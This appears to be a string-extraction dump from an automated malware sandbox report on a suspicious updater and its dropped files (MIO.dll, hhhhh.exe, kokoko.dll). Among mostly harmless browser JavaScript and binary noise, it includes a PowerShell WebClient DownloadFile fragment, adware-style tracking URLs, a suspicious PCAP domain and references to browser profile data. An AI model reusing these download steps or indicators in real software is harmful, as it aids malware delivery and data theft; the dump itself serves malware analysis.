http://dhxx2phjrf4w5.cloudfront.net/v4/
Ansi based on Dropped File (MIO.dll.1862922135)
http://www.ourluckysites.com/?type=hp&ts=1493314713&z=4efc9b754986ee2f2a87012g2zbt4c1c6g6z7q2c8o&from=che0812&uid=VBOXXHARDDISK_VB47a275fd-833fcbff
Ansi based on Runtime Data (QQBrowser.exe )
hwc_AXI_BEATS_WRITE','Write Beats');this.addMMUCounter('mali_hwc_MMU_TABLE_WALK','Page Table Walks');this.addMMUCounter('mali_hwc_MMU_REPLAY_MISS','Cache Miss from Replay Buffer');this.addMMUCounter('mali_hwc_MMU_REPLAY_FULL','Replay Buffer Full');this.addMMUC
Ansi based on Runtime Data (CPK.exe )
H|q+#g@/QQ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
I!J9{P.KpL}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
I141064:234u]w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
i??,?\q????)?
Ansi based on Runtime Data (rundll32.exe )
I]y(UIU
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
iator',title:Common.UIString('Initiator'),visible:true,weight:10,sortingFunction:Network.NetworkDataGridNode.InitiatorComparator},{id:'cookies',title:Common.UIString('Cookies'),align:UI.DataGrid.Align.Right,sortingFunction:Network.NetworkDataGridNode.RequestCo
Ansi based on Runtime Data (CPK.exe )
iB)#@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ice failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
icon.hidden = (browserSection.id !== deviceStatus.browserId); updateBrowserVisibility(browserSection); } Array.prototype.forEach.call( deviceSection.querySelectorAll('.browser'), updatePortForwardingInfo); updateUsernameVis
Ansi based on Runtime Data (CPK.exe )
id.3','%TEMP%\csw3C06.tmp')
Unicode based on Runtime Data (powershell.exe )
id2 ... >
Unicode based on Dropped File (ttttt.exe.179545488)
Ids\Microsoft.Power
Unicode based on Dropped File (psi.dll.1283195511)
iew */function ListView() { View.call(this, createElement("div", ListView.ClassNameListView)); this.element.tabIndex = 0; this.element.setAttribute("role", "grid"); /** * @type {!number} * @private */ this._width = 0;
Ansi based on Runtime Data (CPK.exe )
if (chrome.management) { chrome.runtime.onMessageExternal.addListener( function(message, sender, sendResponse) { function doSendResponse(value, errorString) { var error = null; if (errorString) { error =
Ansi based on Runtime Data (rundll32.exe )
if (cr.isChromeOS) this.updateEnabledInputMethods_(); for (var i = 0; i < this.languages.enabled.length; i++) { var languageState = this.languages.enabled[i]; this.set('languages.enabled.' + i + '.removable', this.canDisabl
Ansi based on Runtime Data (CPK.exe )
if sendBeacon is not enabled, we fallback for "a ping". var a = document.createElement('a'); a.href = '#'; a.ping = url; a.click(); }}<!doctype html><html><head> <meta charset="utf-8"> <title>Omnibox Debug Page</title> <link rel="st
Ansi based on Runtime Data (CPK.exe )
illa\Firefox\
Unicode based on Dropped File (kokoko.dll.2691425955)
incompatible version
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
incomplete literal/length tree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ine:tokenizer.tokenLineStart(),column:tokenizer.tokenColumnStart(),name:previousIdentifier};addedFunction=true;previousIdentifier=null;}else if(AT.punctuator(token,'.')&&previousToken&&AT.identifier(previousToken)){previousIdentifier+='.';}else if(AT.punctuato
Ansi based on Runtime Data (CPK.exe )
inflate 1.1.3 Copyright 1995-1998 Mark Adler
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ing: Unidentified Key in the trace registry: %s
Unicode based on Dropped File (ttttt.exe.179545488)
initialSettings['printAutomaticallyInKioskMode'] || false, initialSettings['appKioskMode'] || false, numberFormatSymbols[0] || ',', numberFormatSymbols[1] || '.', unitType, initialSettings['previewMod
Ansi based on Runtime Data (CPK.exe )
innerHeight >= 0 ? innerHeight : 0) + 'px)'; parameters.distance = Math.abs(innerHeight); break; } if (this.loopCount_ % 2) { var transform = parameters.transformBegin; pa
Ansi based on Runtime Data (CPK.exe )
install.
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
io.4','%TEMP%\csw263B.tmp')
Unicode based on Runtime Data (powershell.exe )
io.install.finish','%TEMP%\csp4104.tmp')
Unicode based on Runtime Data (powershell.exe )
IoCreateDevice
Ansi based on Dropped File (hhhhh.exe.655875088)
IoDeviceObjectType
Ansi based on Dropped File (hhhhh.exe.655875088)
IoIsWdmVersionAvailable
Ansi based on Dropped File (hhhhh.exe.655875088)
ion (host) {this.dataHost = host = host || Polymer.Base._hostStack[Polymer.Base._hostStack.length - 1];if (host && host._clients) {host._clients.push(this);}this._clients = null;this._clientsReadied = false;},_beginHosting: function () {Polymer.Base._
Ansi based on Runtime Data (CPK.exe )
ion.LDPI.STAR.x; if (IS_HIDPI) { moonSourceWidth *= 2; moonSourceHeight *= 2; moonSourceX = this.spritePos.x + (NightMode.phases[this.currentPhase] * 2); starSize *= 2; starSourceX = Runner.spriteDefinition.HDPI.STA
Ansi based on Runtime Data (CPK.exe )
ios_base::badbit set
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ios_base::eofbit set
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ios_base::failbit set
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
is._delegate.setWorked(worked,title);}worked(worked){if(this._delegate)this._delegate.worked(worked);}};;Common.ResourceType=class{constructor(name,title,category,isTextType){this._name=name;this._title=title;this._category=category;this._isTextType=isText
Ansi based on Runtime Data (CPK.exe )
is._setSecondaryRatio(secondaryRatio);this._transformProgress(this.$.secondaryProgress,secondaryRatio);this._transformProgress(this.$.primaryProgress,mainRatio);this.secondaryProgress=secondaryProgress;this.setAttribute("aria-valuenow",value);this.setAttribute
Ansi based on Runtime Data (CPK.exe )
is.categories_.concat(split);}},set settings_key(k){this.settings_key_=k;},set settings(s){throw new Error('Dont use this!');},usingPreset_:function(){return this.currentlyChosenPreset_.length>0;},get currentlyChosenPreset(){return this.currentlyChosenPreset_;
Ansi based on Runtime Data (CPK.exe )
IsValidLocale
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
IsValidLocaleName
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
isVirtualDestination_: function(destination) { if (destination.origin == print_preview.Destination.Origin.LOCAL) { return arrayContains( [print_preview.Destination.GooglePromotedId.SAVE_AS_PDF], destination.id);
Ansi based on Runtime Data (CPK.exe )
ite the port. this.portMap_[tab.id] = port; port.onDisconnect.addListener(function() { this.handleClientDisconnect_(port); }.bind(this)); port.onMessage.addListener(function(msg) { this.handleMessage_(msg, port.sender, p
Ansi based on Runtime Data (CPK.exe )
ition":"!v8only"},{"name":"sources"},{"name":"components_lazy"},{"name":"diff"},{"type":"autostart","name":"bindings"},{"name":"audits","condition":"!v8only"},{"name":"snippets"},{"name":"layers","condition":"!v8only"},{"name":"console"},{"name":"network","con
Ansi based on Runtime Data (CPK.exe )
itle":"Use horizontal panel layout"},{"text":"vertical","value":"right","title":"Use vertical panel layout"},{"text":"auto","value":"auto","title":"Use automatic panel layout"}]},{"category":"Appearance","title-mac":"Enable \u2318 + 1-9 shortcut to switch pane
Ansi based on Runtime Data (CPK.exe )
itle,title);this._filterSelect.createOption(title);}}_updateControls(){this._updateBaseOptions();this._updateFilterOptions();}_onReceiveSnapshot(event){this._updateControls();}_onProfileHeaderRemoved(event){var profile=event.data;if(this._profile===profi
Ansi based on Runtime Data (CPK.exe )
i}sMuy2)q
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
J(\IL]y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
j-ke[\-pW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
J:W"(~_<fQf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
j????[???`???s\?X?s???
Ansi based on Runtime Data (rundll32.exe )
J@B<Ap{>V
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
jS\!/&G9de
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
jy-lAR@}D
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
k j{g]#0k9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
k"q5)U[h
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
K.'L/3<$m
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
K.(Dzo9B& sR
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
k:eC@nq_l&6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
k=this._callbacks.get(data.callId);this._callbacks.delete(data.callId);callback(data.result);}_postMessage(message){this._worker.postMessage(message);}};Profiler.HeapSnapshotProxyObject=class{constructor(worker,objectId){this._worker=worker;this._objectId=ob
Ansi based on Runtime Data (CPK.exe )
k]EN;}>:1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
K`SyH~}5.k
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KBff*Fr)&H)c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KeBugCheckEx
Ansi based on Dropped File (hhhhh.exe.655875088)
KeTickCount
Ansi based on Dropped File (hhhhh.exe.655875088)
Keyword Keyword
Unicode based on Dropped File (ttttt.exe.179545488)
KfLowerIrql
Ansi based on Dropped File (hhhhh.exe.655875088)
KfRaiseIrql
Ansi based on Dropped File (hhhhh.exe.655875088)
kit-transform: translateZ(0);\n padding-left: 2px;\n}\n\n.elements-disclosure ol:focus li.selected {\n color: white;\n}\n\n.elements-disclosure ol:focus li.parent.selected::before {\n background-color: white;\n}\n\n.elements-disclosure ol:focus li.sel
Ansi based on Runtime Data (CPK.exe )
kitty.exe
Unicode based on Dropped File (kokoko.dll.2691425955)
KS3az~{*P@]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
kwqJ -COS\OI[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KX_G(*O{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
kxA;}Qq)aF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
L'H]}|L<8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
l(n[ 4SF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
l.A[6)eDu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
L;\_{txmR
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
L@KV@QDAXSDR
Unicode based on Dropped File (MIO.dll.1862922135)
l\[ta'n=I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Ld[I[C@Z%b
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
lDLSBVQ:.5+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
le %X in %s (PID %d)? (y/n)
Unicode based on Dropped File (hhhhh.exe.655875088)
le CopyTo...
Unicode based on Runtime Data (rundll32.exe )
learLog.install.finish','%TEMP%\csp8203.tmp')
Unicode based on Runtime Data (powershell.exe )
lectNextOccurrenceController=new TextEditor.CodeMirrorTextEditor.SelectNextOccurrenceController(this,this._codeMirror);this._codeMirror.on('changes',this._changes.bind(this));this._codeMirror.on('beforeSelectionChange',this._beforeSelectionChange.bind(this));t
Ansi based on Runtime Data (CPK.exe )
lid Flags: 0x%0X(%d).
Unicode based on Dropped File (ttttt.exe.179545488)
lient = new-object System.Net.WebClient; $client.DownloadFile('
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
list.style['position'] = 'absolute'; list.style['opacity'] = '0'; this.hideSinkListForAnimation_ = false; finalHeight += list.offsetHeight; list.style['position'] = 'relative'; } else { resultsInitialTop += deviceMis
Ansi based on Runtime Data (CPK.exe )
loadPromise(){if(!this.enabled())return Promise.reject(new Error('Module '+this._name+' is not enabled'));if(this._pendingLoadPromise)return this._pendingLoadPromise;var dependencies=this._descriptor.dependencies;var dependencyPromises=[];for(var i=0;depen
Ansi based on Runtime Data (CPK.exe )
Local
Unicode based on Runtime Data (QQBrowser.exe )
Local AppData
Unicode based on Runtime Data (QQBrowser.exe )
Local Sequence numbers in use
Unicode based on Dropped File (ttttt.exe.179545488)
Local State
Unicode based on Dropped File (kokoko.dll.2691425955)
LocalAlloc
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
LocalFileTimeToFileTime
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LocalFree
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
LocalizedName
Unicode based on Runtime Data (rundll32.exe )
LocalRedirectOnly
Unicode based on Runtime Data (rundll32.exe )
log [actions] [options] | [-h | -help | -?]
Unicode based on Dropped File (ttttt.exe.179545488)
Logger Started...
Unicode based on Dropped File (ttttt.exe.179545488)
lse);}_update(){SDK.Cookies.getCookiesAsync(this._updateWithCookies.bind(this));}_updateWithCookies(allCookies){this._cookies=this._filterCookiesForDomain(allCookies);if(!this._cookies.length){this._emptyWidget.show(this.element);this._clearButton.setVisib
Ansi based on Runtime Data (CPK.exe )
lSet\Control\Class
Unicode based on Dropped File (hhhhh.exe.655875088)
M.b?%O]3.'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
m.replaceRange(cm.doc.lineSeparator(),range.anchor,range.head,"+input");cm.indentLine(range.from().line+1,null,true);}ensureCursorVisible(cm);});},openLine:function(cm){cm.replaceSelection("\n","start")},toggleOverwrite:function(cm){cm.toggleOverwrite();}};v
Ansi based on Runtime Data (CPK.exe )
M7d@u/Qzg
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
m\)<0'(z]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Manager.addClockSyncMarker(tr.model.ClockDomainId.BATTOR,syncId,ts);}},importEvents:function(){if(this.model_.device.powerSeries){this.model_.importWarning({type:'import_error',message:'Power counter exists, can not import BattOr power trace.'});return;}var m
Ansi based on Runtime Data (CPK.exe )
Mark Russinovich 1996-2014
Unicode based on Dropped File (hhhhh.exe.655875088)
me;this.indent=state.indented;this.startOfLine=startOfLine;if(config.doNotIndent.hasOwnProperty(tagName)||(state.context&&state.context.noIndent))this.noIndent=true;}function popContext(state){if(state.context)state.context=state.context.prev;}function m
Ansi based on Runtime Data (CPK.exe )
mergeable)';Polymer({is:'tr-v-ui-histogram-set-table',get tabLabel(){return'Table';},created:function(){this.histograms_=undefined;this.sourceValues_=undefined;this.rows_=undefined;this.columns_=undefined;this.updatingContents_=false;this.displayLabels_=undefi
Ansi based on Runtime Data (CPK.exe )
MessageToPort_(e); } else { this.postToUpperWindow(e.data); } } else if (e.data.type === CHANNEL_CONNECT_MESSAGE) { var channelId = e.data.channelId; var channelName = e.data.channelName; if (this.isDaem
Ansi based on Runtime Data (CPK.exe )
Microsoft (R) %s (%s)%s
Unicode based on Dropped File (ttttt.exe.179545488)
MIO.exe
Ansi based on Dropped File (MIO.dll.1862922135)
MM/dd/yy
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
MmGetSystemRoutineAddress
Ansi based on Dropped File (hhhhh.exe.655875088)
MouseUp_);this.buttonsEl_.addEventListener('mousedown',this.onButtonMouseDown_);this.buttonsEl_.addEventListener('click',this.onButtonPress_.bind(this));},attached:function(){document.addEventListener('keydown',this.onKeyDown_);document.addEventListener('keyup
Ansi based on Runtime Data (CPK.exe )
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Ansi based on PCAP Processing (PCAP)
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5
Ansi based on PCAP Processing (PCAP)
mscoree.dll
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
msiexec.exe
Unicode based on Runtime Data (rundll32.exe )
n be animated. The listener will only be added to a given section * once, so this can be called as multiple times. * @param {HTMLElement} section The section to be animated. * @private */ addTransitionEndListener_: function(section) {
Ansi based on Runtime Data (CPK.exe )
n?5???k??h\YU???}g???
Ansi based on Runtime Data (rundll32.exe )
NaCJQ/E:<X
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
name Search for handles to objects with <name> (fragment accepted).
Ansi based on Dropped File (hhhhh.exe.655875088)
Name=tableName;}get itemURL(){return'database://'+encodeURI(this._database.name)+'/'+encodeURI(this._tableName);}onselect(selectedByUser){super.onselect(selectedByUser);this._storagePanel._showDatabase(this._database,this._tableName);return false;}};Resour
Ansi based on Runtime Data (CPK.exe )
nction(node){return node.__dom&&node.__dom.previousSibling!==undefined?this._getPreviousElementSibling(node):node.previousElementSibling;},_getPreviousElementSibling:function(node){var n=node.__dom.previousSibling;while(n&&n.nodeType!==Node.ELEMENT_NODE){n=n._
Ansi based on Runtime Data (CPK.exe )
nd install must abort.ListBoxA positive integer used to determine the ordering of the items within one list..The integers do not have to be consecutive.A named property to be tied to this item. All the items tied to the same property become part of the same li
Ansi based on Runtime Data (rundll32.exe )
Nd@:lca+I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ned an error: (500) Internal Server Error."
Unicode based on Runtime Data (powershell.exe )
ner.active { -webkit-animation: container-rotate var(--paper-spinner-container-rotation-duration) linear infinite; animation: container-rotate var(--paper-spinner-container-rotation-duration) linear infinite;}@-webkit-keyframes container-rotate {
Ansi based on Runtime Data (CPK.exe )
new[]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
nfiguring PMC collection...
Unicode based on Dropped File (ttttt.exe.179545488)
nfo\%04x%04x\%s
Unicode based on Dropped File (ttttt.exe.179545488)
ngth;i++)this._counterUI[i]._drawGraph(this._canvas);}_onClick(event){var x=event.x-this._canvasContainer.totalOffsetLeft();var minDistance=Infinity;var bestTime;for(var i=0;i<this._counterUI.length;++i){var counterUI=this._counterUI[i];if(!counterUI.count
Ansi based on Runtime Data (CPK.exe )
nH_?nL?nT][??
Ansi based on Runtime Data (rundll32.exe )
nInitialSettingsSet_: function(event) { assert(this.uiState_ == PrintPreview.UiState_.INITIALIZING, 'Updating initial settings when not in initializing state: ' + this.uiState_); this.uiState_ = PrintPreview.UiState_.R
Ansi based on Runtime Data (CPK.exe )
nj@M#Z@",K9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
nlW3V{mN.^[`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
No arguments will dump all file references.
Ansi based on Dropped File (hhhhh.exe.655875088)
not enough space for locale information
Unicode based on Runtime Data (rundll32.exe )
not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ns_(6E'R/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
nSnapshot,error);}_sendUpdateEvent(text){if(this._dispatcher)this._dispatcher.sendEvent(Profiler.HeapSnapshotProgressEvent.Update,text);}};HeapSnapshotWorker.HeapSnapshotProblemReport=class{constructor(title){this._errors=[title];}addError(error){if(this
Ansi based on Runtime Data (CPK.exe )
ntentContainer::after { position: fixed; top: 0; bottom: 0; left: 100%; visibility: visible; width: 20px; content: ''; } :host([swipe-open][position=right]) > #contentContainer::after {
Ansi based on Runtime Data (CPK.exe )
ntoskrnl.exe
Ansi based on Dropped File (hhhhh.exe.655875088)
NtQueryInformationProcess
Ansi based on Dropped File (hhhhh.exe.655875088)
NvBEptCy@:
Ansi based on PCAP Processing (PCAP)
NWf %".b:@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
O#!5dq2:VT
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
o)<#.-D-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
o.T8M4/3g
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
O//(/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
O>\P!\Wh
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
o??{?B)??
Ansi based on Runtime Data (rundll32.exe )
O@-]E\W[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ocument};var columns=[{title:'Layer',value:function(row){if(row.isTotals)return'Totals';if(row.layer){var linkEl=document.createElement('tr-ui-a-analysis-link');linkEl.setSelectionAndContent(function(){return new tr.ui.e.chrome.cc.LayerSelection(costs.layer);
Ansi based on Runtime Data (CPK.exe )
of this source code is governed by a BSD-style license that can be// found in the LICENSE file.var CreateEvent = require('guestViewEvents').CreateEvent;var GuestViewEvents = require('guestViewEvents').GuestViewEvents;function ExtensionOptionsEvents(exten
Ansi based on Runtime Data (CPK.exe )
oggerName] Disables providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
Ok*!7yB]1{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ok:6r5e:v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ol?u[?|]
Ansi based on Runtime Data (rundll32.exe )
om this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Dropped File (hhhhh.exe.655875088)
omMargins.Orientation.LEFT))); } print_preview.ticket_items.TicketItem.prototype.updateValue.call( this, margins); }, /** * Updates the specified margin in points while keeping the value within * a maximum and minimum.
Ansi based on Runtime Data (CPK.exe )
on not supported
Ansi based on Dropped File (UAC.dll.626400535)
on, 0.08s); -webkit-transition-timing-function: var(--paper-progress-transition-timing-function, ease); transition-timing-function: var(--paper-progress-transition-timing-function, ease); -webkit-transition-delay: va
Ansi based on Runtime Data (CPK.exe )
on-text !important}select:-internal-list-box:disabled option:checked, select:-internal-list-box option:checked:disabled{color: gray !important}select:-internal-list-box hr{border-style: none}output{display: inline} meter{-webkit-appearance: meter;box-sizing: b
Ansi based on Runtime Data (CPK.exe )
onsInfo( {includeDisabled: true, includeTerminated: true}, function(extensions) { /** @private {Array<chrome.developerPrivate.ExtensionInfo>} */ this.extensions_ = extensions; for (let extension of extensions)
Ansi based on Runtime Data (CPK.exe )
oO@,D dKv@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
OpenSCManager failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
OpenService failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
operation not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
operation_not_supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
operty we are defining the setter * for. * @param {PropertyKind} kind The kind of property we are getting the * setter for. * @param {function(*, *):void=} opt_setHook A function to run after the * property is set, but before the pro
Ansi based on Runtime Data (CPK.exe )
orkerUpdateOnReload',false);if(this._forceUpdateSetting.get())this._forceUpdateSettingChanged();this._forceUpdateSetting.addChangeListener(this._forceUpdateSettingChanged,this);new SDK.ServiceWorkerContextNamer(target,this,subTargetsManager);}enable(){if(t
Ansi based on Runtime Data (CPK.exe )
oundOpacity:0.8};return new tr.ui.tracks.ChartSeries(idToTimestampToPoint[id],seriesYAxis,renderingConfig);});series.reverse();return series;}function buildMemoryLetterDots(memoryDumps){var backgroundMemoryColorId=ColorScheme.getColorIdForReservedName('backgr
Ansi based on Runtime Data (CPK.exe )
ouQ]:?cG/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ource code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n */\n\n.search-drawer-header {\n flex: none;\n display: flex;\n border-bottom: 2px solid #e8e8e8;\n white-space: nowrap;\n overflow: hidden;\n}\n\n.search-
Ansi based on Runtime Data (CPK.exe )
ources/html/i18n_behavior.html"><link rel="import" href="chrome://resources/polymer/v1_0/paper-button/paper-button.html"><link rel="import" href="../../icons/media_router_icons.html"><dom-module name="issue-banner"> <link rel="import" type="css" href="../
Ansi based on Runtime Data (CPK.exe )
OV M?D{.{a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
oversubscribed literal/length tree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
o}$z:6&*ju
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p#1,]Q.c4:L,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P(A;;GA;;;SY)(A;;GA;;;BA)
Unicode based on Dropped File (hhhhh.exe.655875088)
P,2Nt4y(@f)
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P8?????TAY??>?????????z?I??(|q?D??K?@?
Ansi based on Runtime Data (rundll32.exe )
P`@Gs8!fcgp
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
particular index. * @param {number} index The index of the card to return. * @return {!Element} The card at the given index. */ getCardAtIndex: function(index) { this.assertValidIndex_(index); return this.cards_[index]; },
Ansi based on Runtime Data (CPK.exe )
PathCombineW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
pc32.exe
Unicode based on Runtime Data (rundll32.exe )
pc64.exe
Unicode based on Runtime Data (rundll32.exe )
pdwV/}i!+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pe:"text",maxLength:void 0,defaultValue:void 0},Hd:{id:"nonInteraction",name:"ni",valueType:"boolean",maxLength:void 0,defaultValue:void 0},qd:Ha,$d:{id:"title",name:"dt",valueType:"text",maxLength:1500,defaultValue:void 0},bd:{id:"appId",name:"aid",valueType
Ansi based on Runtime Data (CPK.exe )
perties(callback){this.doGetProperties(true,false,false,callback);}getAllProperties(accessorPropertiesOnly,callback){this.doGetProperties(false,accessorPropertiesOnly,false,callback);}eventListeners(){return new Promise(eventListeners.bind(this));function
Ansi based on Runtime Data (CPK.exe )
Pff((m
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pid: %-6d type: %-13s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
PK.install.finish','%TEMP%\csp379D.tmp')
Unicode based on Runtime Data (powershell.exe )
pkE<?%$)@?}??
Ansi based on Runtime Data (rundll32.exe )
plitWidget.setSidebarWidget(splitWidget);this._currentSplitWidget.showBoth();}var lastSplitWidget=this._currentSplitWidget;this._currentSplitWidget=splitWidget;return lastSplitWidget;}detachChildWidgets(){super.detachChildWidgets();this._currentSplitWidget
Ansi based on Runtime Data (CPK.exe )
Pn{@-A
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
point.roseiloveyou.com
Ansi based on PCAP Processing (PCAP)
ported on this version
Ansi based on Dropped File (ttttt.exe.179545488)
portuguese-brazilian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pow(t[1],2)+Math.pow(t[2],2)+Math.pow(t[3],2))},e.LDU=function(t,n,r,a){return t[2]=a[2]/a[0],r[0]=a[0],r[1]=a[1],r[3]=a[3]-t[2]*r[1],[t,n,r]},t.exports=e},function(t,n,r){var a=r(1),e={};e.create=function(){var t=new a.ARRAY_TYPE(6);return t[0]=1,t[1]=0,t[2]=
Ansi based on Runtime Data (CPK.exe )
powershell.exe
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
ppression when the extern * Node.prototype.contains() will be fixed. */ handleElementBlur_: function(e) { if (!this.contains(e.relatedTarget)) this.hasElementFocus = false; }, /** * Returns the list item element contai
Ansi based on Runtime Data (CPK.exe )
Press any key to exit...
Ansi based on Dropped File (hhhhh.exe.655875088)
previous(currentText){if(this._historyOffset>this._data.length)return undefined;if(this._historyOffset===1)this._pushCurrentText(currentText);++this._historyOffset;return this._currentHistoryItem();}next(){if(this._historyOffset===1)return undefined;-
Ansi based on Runtime Data (CPK.exe )
property (enableex/disableex only)
Unicode based on Dropped File (ttttt.exe.179545488)
protocol not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
protocol_not_supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ProxyHttp1.1
Unicode based on Runtime Data (QQBrowser.exe )
PsLookupProcessByProcessId
Ansi based on Dropped File (hhhhh.exe.655875088)
pVWQ;{/DiA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q"2X[Z]X[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q$}/9ceyb
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q2%@"21(W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q[3.9W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q_::i+&l.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
QBrowser.install.finish','%TEMP%\csp4693.tmp')
Unicode based on Runtime Data (powershell.exe )
qD=F4a)}2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qh]=f@&[[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
QQBrowser.exe
Unicode based on Runtime Data (rundll32.exe )
QQBrowserFrame.dll
